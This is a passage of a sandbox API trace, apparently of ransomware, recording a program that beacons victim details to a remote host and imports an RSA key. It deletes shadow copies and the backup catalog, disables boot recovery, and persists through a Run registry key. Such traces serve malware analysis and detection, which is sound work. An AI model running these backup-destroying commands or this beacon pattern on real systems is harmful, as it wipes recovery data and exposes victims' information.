hHeap=0x570000, dwFlags=0x0, lpMem=0x57e6c0 | out: hHeap=0x570000) returned 1 [0075.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5837f0 | out: hHeap=0x570000) returned 1 [0075.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3f) returned 0x583958 [0075.803] CryptBinaryToStringW (in: pbBinary=0x583958, cbBinary=0x3f, dwFlags=0x80000001, pszString=0x0, pcchString=0x19ff1c | out: pszString=0x0, pcchString=0x19ff1c) returned 1 [0075.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x576f38 [0075.803] CryptBinaryToStringW (in: pbBinary=0x583958, cbBinary=0x3f, dwFlags=0x80000001, pszString=0x576f38, pcchString=0x19ff1c | out: pszString="MTUwNjg3NzM0MjM0NTtXaW5kb3dzIDEwIFBybyBVc2VyTmFtZTogRkQxSFZ5O2Jt\ncHNAdHV0YW5vdGEuY29t\n", pcchString=0x19ff1c) returned 1 [0075.803] OpenMutexW (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="1506877342345") returned 0x0 [0075.803] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="1506877342345") returned 0x14c [0075.803] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x19ff04 | out: phkResult=0x19ff04*=0x150) returned 0x0 [0075.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x58f220 [0075.804] RegQueryValueExW (in: hKey=0x150, lpValueName="kakashka", lpReserved=0x0, lpType=0x0, lpData=0x58f220, lpcbData=0x19fea8*=0x2000 | out: lpType=0x0, lpData=0x58f220*=0xc0, lpcbData=0x19fea8*=0x2000) returned 0x2 [0075.804] RegCloseKey (hKey=0x150) returned 0x0 [0075.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0075.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589680 [0075.805] InternetOpenW (lpszAgent="Random String", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0082.895] InternetConnectW (hInternet=0xcc0004, lpszServerName="rinugsof.host", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0082.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5a4a48 [0082.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5a4b10 [0082.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4a48 | out: hHeap=0x570000) returned 1 [0082.903] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="starta?bs=MTUwNjg3NzM0MjM0NTtXaW5kb3dzIDEwIFBybyBVc2VyTmFtZTogRkQxSFZ5O2Jt\ncHNAdHV0YW5vdGEuY29t\n", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x19f48c*="text/*", dwFlags=0x80000, dwContext=0x1) returned 0xcc000c [0083.115] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0084.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19f05c, dwNumberOfBytesToRead=0x3ff, lpdwNumberOfBytesRead=0x19f4cc | out: lpBuffer=0x19f05c*, lpdwNumberOfBytesRead=0x19f4cc*=0x1c3) returned 1 [0084.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d0) returned 0x5badc0 [0084.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19f05c, dwNumberOfBytesToRead=0x3ff, lpdwNumberOfBytesRead=0x19f4cc | out: lpBuffer=0x19f05c*, lpdwNumberOfBytesRead=0x19f4cc*=0x0) returned 1 [0084.319] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x80000016, lpBuffer=0x0, lpdwBufferLength=0x19f044, lpdwIndex=0x0 | out: lpBuffer=0x0, lpdwBufferLength=0x19f044, lpdwIndex=0x0) returned 0 [0084.400] GetLastError () returned 0x7a [0084.400] GetLastError () returned 0x7a [0084.400] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x162) returned 0x5adef0 [0084.400] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x80000016, lpBuffer=0x5adef0, lpdwBufferLength=0x19f044, lpdwIndex=0x0 | out: lpBuffer=0x5adef0*, lpdwBufferLength=0x19f044*=0x160, lpdwIndex=0x0) returned 1 [0084.400] OutputDebugStringW (lpOutputString="GET /starta?bs=MTUwNjg3NzM0MjM0NTtXaW5kb3dzIDEwIFBybyBVc2VyTmFtZTogRkQxSFZ5O2JtcHNAdHV0YW5vdGEuY29t HTTP/1.1\r\nAccept: text/*\r\nUser-Agent: Random String\r\nHost: rinugsof.host\r\n\r\n") [0084.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0084.401] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0084.401] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0084.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4b10 | out: hHeap=0x570000) returned 1 [0084.401] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0084.401] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x390) returned 0x5b81c0 [0084.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5badc0 | out: hHeap=0x570000) returned 1 [0084.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589680 | out: hHeap=0x570000) returned 1 [0084.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0084.401] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x19ff00 | out: phkResult=0x19ff00*=0x2b4) returned 0x0 [0084.401] lstrlenW (lpString="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu7d160dwRhkwaE8DSerZ\nltvl1khS3K3WEtrkURyegC90SFTU1j3n0hGL0poPNmW8d2EKN66iOOGQR1G6od2y\nVl5SttR6UztFGypPRGsEbfJlngS0V69Ch7/0lO5BMqBZTAZAypf4yKZVnmwpGNoj\nSZAw+L5Zci1S0O2WF4szNtolA/EW9W4wtZEkDrHgPsHn0DQnQXSP26NpCBuiFcxr\nvfu0tuaeovVnEKhIwEOdoh/GBKiW2+eiP4W2CGouBX0G+9a7EWHKeTSkPZ8xnOhl\nui8V0sSrzgCWflDwq6Ty7wh6TPmzjyFCsvcdm1/gBiqMkG5lgQzEztjPLdpblfbM\nvQIDAQAB\n-----END PUBLIC KEY-----\n") returned 451 [0084.401] RegSetValueExW (in: hKey=0x2b4, lpValueName="kakashka", Reserved=0x0, dwType=0x1, lpData="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu7d160dwRhkwaE8DSerZ\nltvl1khS3K3WEtrkURyegC90SFTU1j3n0hGL0poPNmW8d2EKN66iOOGQR1G6od2y\nVl5SttR6UztFGypPRGsEbfJlngS0V69Ch7/0lO5BMqBZTAZAypf4yKZVnmwpGNoj\nSZAw+L5Zci1S0O2WF4szNtolA/EW9W4wtZEkDrHgPsHn0DQnQXSP26NpCBuiFcxr\nvfu0tuaeovVnEKhIwEOdoh/GBKiW2+eiP4W2CGouBX0G+9a7EWHKeTSkPZ8xnOhl\nui8V0sSrzgCWflDwq6Ty7wh6TPmzjyFCsvcdm1/gBiqMkG5lgQzEztjPLdpblfbM\nvQIDAQAB\n-----END PUBLIC KEY-----\n", cbData=0x386 | out: lpData="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu7d160dwRhkwaE8DSerZ\nltvl1khS3K3WEtrkURyegC90SFTU1j3n0hGL0poPNmW8d2EKN66iOOGQR1G6od2y\nVl5SttR6UztFGypPRGsEbfJlngS0V69Ch7/0lO5BMqBZTAZAypf4yKZVnmwpGNoj\nSZAw+L5Zci1S0O2WF4szNtolA/EW9W4wtZEkDrHgPsHn0DQnQXSP26NpCBuiFcxr\nvfu0tuaeovVnEKhIwEOdoh/GBKiW2+eiP4W2CGouBX0G+9a7EWHKeTSkPZ8xnOhl\nui8V0sSrzgCWflDwq6Ty7wh6TPmzjyFCsvcdm1/gBiqMkG5lgQzEztjPLdpblfbM\nvQIDAQAB\n-----END PUBLIC KEY-----\n") returned 0x0 [0084.401] RegCloseKey (hKey=0x2b4) returned 0x0 [0084.401] CryptStringToBinaryW (in: pszString="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu7d160dwRhkwaE8DSerZ\nltvl1khS3K3WEtrkURyegC90SFTU1j3n0hGL0poPNmW8d2EKN66iOOGQR1G6od2y\nVl5SttR6UztFGypPRGsEbfJlngS0V69Ch7/0lO5BMqBZTAZAypf4yKZVnmwpGNoj\nSZAw+L5Zci1S0O2WF4szNtolA/EW9W4wtZEkDrHgPsHn0DQnQXSP26NpCBuiFcxr\nvfu0tuaeovVnEKhIwEOdoh/GBKiW2+eiP4W2CGouBX0G+9a7EWHKeTSkPZ8xnOhl\nui8V0sSrzgCWflDwq6Ty7wh6TPmzjyFCsvcdm1/gBiqMkG5lgQzEztjPLdpblfbM\nvQIDAQAB\n-----END PUBLIC KEY-----\n", cchString=0x0, dwFlags=0x0, pbBinary=0x19ecd4, pcbBinary=0x19f4d8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x19ecd4, pcbBinary=0x19f4d8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0084.402] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x19ecd4, cbEncoded=0x126, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x19f4dc, pcbStructInfo=0x19f4d4 | out: pvStructInfo=0x19f4dc, pcbStructInfo=0x19f4d4) returned 1 [0084.692] CryptAcquireContextW (in: phProv=0x45b160, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x45b160*=0x5b7058) returned 1 [0085.240] CryptImportPublicKeyInfo (in: hCryptProv=0x5b7058, dwCertEncodingType=0x1, pInfo=0x5bff90*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x5bffc0*, PublicKey.cbData=0x10e, PublicKey.pbData=0x5bffc8*, PublicKey.cUnusedBits=0x0), phKey=0x45b158 | out: phKey=0x45b158*=0x5a2c10) returned 1 [0085.243] CryptAcquireContextW (in: phProv=0x45b160, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x45b160*=0x5b6ec0) returned 1 [0085.244] CryptImportPublicKeyInfo (in: hCryptProv=0x5b6ec0, dwCertEncodingType=0x1, pInfo=0x5bff90*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x5bffc0*, PublicKey.cbData=0x10e, PublicKey.pbData=0x5bffc8*, PublicKey.cUnusedBits=0x0), phKey=0x45b158 | out: phKey=0x45b158*=0x5a2690) returned 1 [0085.244] CryptAcquireContextW (in: phProv=0x45b15c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x45b15c*=0x5b7388) returned 1 [0085.244] LocalFree (hMem=0x5bff90) returned 0x0 [0085.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b81c0 | out: hHeap=0x570000) returned 1 [0085.244] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4dc | out: OldValue=0x19f4dc*=0x0) returned 1 [0085.244] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f488*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4cc | out: lpCommandLine="/C bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x19f4cc*(hProcess=0x3c4, hThread=0x2b8, dwProcessId=0xef8, dwThreadId=0xce0)) returned 1 [0085.836] CloseHandle (hObject=0x3c4) returned 1 [0085.836] CloseHandle (hObject=0x2b8) returned 1 [0085.836] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4d8 | out: OldValue=0x19f4d8*=0x1) returned 1 [0085.836] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C bcdedit /set {default} recoveryenabled no", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f484*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4c8 | out: lpCommandLine="/C bcdedit /set {default} recoveryenabled no", lpProcessInformation=0x19f4c8*(hProcess=0x3c4, hThread=0x2b8, dwProcessId=0xac8, dwThreadId=0xbb4)) returned 1 [0085.844] CloseHandle (hObject=0x3c4) returned 1 [0085.844] CloseHandle (hObject=0x2b8) returned 1 [0085.844] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4d4 | out: OldValue=0x19f4d4*=0x1) returned 1 [0085.844] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f480*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4c4 | out: lpCommandLine="/C wbadmin delete catalog -quiet", lpProcessInformation=0x19f4c4*(hProcess=0x3c4, hThread=0x2b8, dwProcessId=0x37c, dwThreadId=0xd00)) returned 1 [0085.850] CloseHandle (hObject=0x3c4) returned 1 [0085.851] CloseHandle (hObject=0x2b8) returned 1 [0085.851] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4d0 | out: OldValue=0x19f4d0*=0x1) returned 1 [0085.851] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f47c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4c0 | out: lpCommandLine="/C vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x19f4c0*(hProcess=0x3c4, hThread=0x2b8, dwProcessId=0x754, dwThreadId=0x824)) returned 1 [0085.857] CloseHandle (hObject=0x3c4) returned 1 [0085.857] CloseHandle (hObject=0x2b8) returned 1 [0085.857] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4cc | out: OldValue=0x19f4cc*=0x1) returned 1 [0085.857] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C bcdedit.exe /set {current} nx AlwaysOff", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f478*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4bc | out: lpCommandLine="/C bcdedit.exe /set {current} nx AlwaysOff", lpProcessInformation=0x19f4bc*(hProcess=0x3c4, hThread=0x2b8, dwProcessId=0x8e8, dwThreadId=0xb10)) returned 1 [0085.864] CloseHandle (hObject=0x3c4) returned 1 [0085.864] CloseHandle (hObject=0x2b8) returned 1 [0085.864] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4c8 | out: OldValue=0x19f4c8*=0x1) returned 1 [0085.864] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C wmic SHADOWCOPY DELETE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f474*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4b8 | out: lpCommandLine="/C wmic SHADOWCOPY DELETE", lpProcessInformation=0x19f4b8*(hProcess=0x3c4, hThread=0x2b8, dwProcessId=0x9b0, dwThreadId=0x9fc)) returned 1 [0085.871] CloseHandle (hObject=0x3c4) returned 1 [0085.871] CloseHandle (hObject=0x2b8) returned 1 [0085.871] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19f2d4, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Major.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\major.exe")) returned 0x21 [0085.871] GetWindowsDirectoryW (in: lpBuffer=0x19f0c8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0085.871] lstrcatW (in: lpString1="C:\\WINDOWS", lpString2="\\Major.exe" | out: lpString1="C:\\WINDOWS\\Major.exe") returned="C:\\WINDOWS\\Major.exe" [0085.871] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Major.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\major.exe"), lpNewFileName="C:\\WINDOWS\\Major.exe" (normalized: "c:\\windows\\major.exe"), bFailIfExists=0) returned 1 [0086.222] RegOpenKeyW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x19f4e0 | out: phkResult=0x19f4e0*=0x2b8) returned 0x0 [0086.222] lstrlenW (lpString="C:\\WINDOWS\\Major.exe") returned 20 [0086.223] RegSetValueExW (in: hKey=0x2b8, lpValueName="Major.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\Major.exe", cbData=0x29 | out: lpData="C:\\WINDOWS\\Major.exe") returned 0x0 [0086.223] RegCloseKey (hKey=0x2b8) returned 0x0 [0086.223] GetConsoleWindow () returned 0x3020e [0086.289] ShowWindow (hWnd=0x3020e, nCmdShow=0) returned 1 [0086.327] GetLogicalDriveStringsW (in: nBufferLength=0x400, lpBuffer=0x19f0c8 | out: lpBuffer="C:\\") returned 0x4 [0086.330] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x585390 [0086.330] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.330] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.330] lstrlenW (lpString="C:\\") returned 3 [0086.331] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x19f4d0 | out: lphEnum=0x19f4d0*=0x5a2710) returned 0x0 [0088.845] WNetEnumResourceW (in: hEnum=0x5a2710, lpcCount=0x19f4d4, lpBuffer=0x1974b4, lpBufferSize=0x19f4cc | out: lpcCount=0x19f4d4, lpBuffer=0x1974b4, lpBufferSize=0x19f4cc) returned 0x0 [0088.846] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1974b4, lphEnum=0x197490 | out: lphEnum=0x197490*=0x585090) returned 0x0 [0088.848] WNetEnumResourceW (in: hEnum=0x585090, lpcCount=0x197494, lpBuffer=0x18f474, lpBufferSize=0x19748c | out: lpcCount=0x197494, lpBuffer=0x18f474, lpBufferSize=0x19748c) returned 0x103 [0088.848] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1974d4, lphEnum=0x197490 | out: lphEnum=0x197490*=0x7) returned 0x4b8 [0105.746] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1974f4, lphEnum=0x197490 | out: lphEnum=0x197490*=0x7) returned 0x4c6 [0106.063] WNetCloseEnum (hEnum=0x5a2710) returned 0x0 [0106.063] GetCurrentProcess () returned 0xffffffff [0106.063] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0106.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0be0 [0106.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf130 [0106.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0be0 | out: hHeap=0x570000) returned 1 [0106.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0106.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x330) returned 0x5a8ac0 [0106.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2e0 [0106.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x5c13d8 [0106.063] RtlInitializeConditionVariable (in: ConditionVariable=0x5c13dc | out: ConditionVariable=0x5c13dc) [0106.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x5c40b8 [0106.063] RtlInitializeConditionVariable (in: ConditionVariable=0x5c40c0 | out: ConditionVariable=0x5c40c0) [0106.063] GetCurrentThreadId () returned 0xc58 [0106.063] GetCurrentThreadId () returned 0xc58 [0106.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x14) returned 0x585110 [0106.064] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x405380, phModule=0x58511c | out: phModule=0x58511c*=0x400000) returned 1 [0106.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x419782, lpParameter=0x585110, dwCreationFlags=0x0, lpThreadId=0x19f454 | out: lpThreadId=0x19f454*=0xdc0) returned 0x440 [0106.064] SleepConditionVariableSRW (in: ConditionVariable=0x5c13dc, SRWLock=0x5c40c0, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x5c13dc, SRWLock=0x5c40c0) returned 1 [0106.066] GetCurrentThreadId () returned 0xc58 [0106.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0106.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c13d8 | out: hHeap=0x570000) returned 1 [0106.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d220 [0106.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0106.066] GetCurrentThreadId () returned 0xc58 [0106.066] WaitForSingleObjectEx (hHandle=0x440, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 7 os_tid = 0x704 Thread: id = 8 os_tid = 0xd9c Thread: id = 9 os_tid = 0x200 Thread: id = 10 os_tid = 0xd1c Thread: id = 11 os_tid = 0x7cc Thread: id = 177 os_tid = 0xdc0 [0106.065] GetLastError () returned 0x57 [0106.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x364) returned 0x5c6c30 [0106.065] SetLastError (dwErrCode=0x57) [0106.065] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x75ba0000 [0106.066] GetProcAddress (hModule=0x75ba0000, lpProcName="GetCurrentPackageId") returned 0x75ba3510 [0106.066] GetCurrentPackageId () returned 0x3d54 [0106.066] GetCurrentThreadId () returned 0xdc0 [0106.066] GetCurrentThreadId () returned 0xdc0 [0106.066] RtlWakeConditionVariable (in: ConditionVariable=0x5c13dc | out: ConditionVariable=0x5c13dc) [0106.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d230 [0106.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0be0 [0106.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2) returned 0x59d1f0 [0106.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0106.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2) returned 0x59d310 [0106.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x44) returned 0x5bb770 [0106.067] GetLastError () returned 0x57 [0106.067] SetLastError (dwErrCode=0x57) [0106.067] GetLastError () returned 0x57 [0106.067] SetLastError (dwErrCode=0x57) [0106.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb8) returned 0x5b9d00 [0106.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6a6) returned 0x5c6fa0 [0106.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fa0 | out: hHeap=0x570000) returned 1 [0106.067] GetLastError () returned 0x57 [0106.067] SetLastError (dwErrCode=0x57) [0106.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x59d2f0 [0106.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2) returned 0x59d1d0 [0106.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4) returned 0x59d320 [0106.067] GetLastError () returned 0x57 [0106.067] SetLastError (dwErrCode=0x57) [0106.067] GetLastError () returned 0x57 [0106.067] SetLastError (dwErrCode=0x57) [0106.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb8) returned 0x5ba180 [0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) [0106.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6a6) returned 0x5c6fa0 [0106.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fa0 | out: hHeap=0x570000) returned 1 [0106.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0106.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b9d00 | out: hHeap=0x570000) returned 1 [0106.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) [0106.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x59d290 [0106.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2) returned 0x59d1a0 [0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) [0106.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x200) returned 0x5c2208 [0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) [0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) [0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) 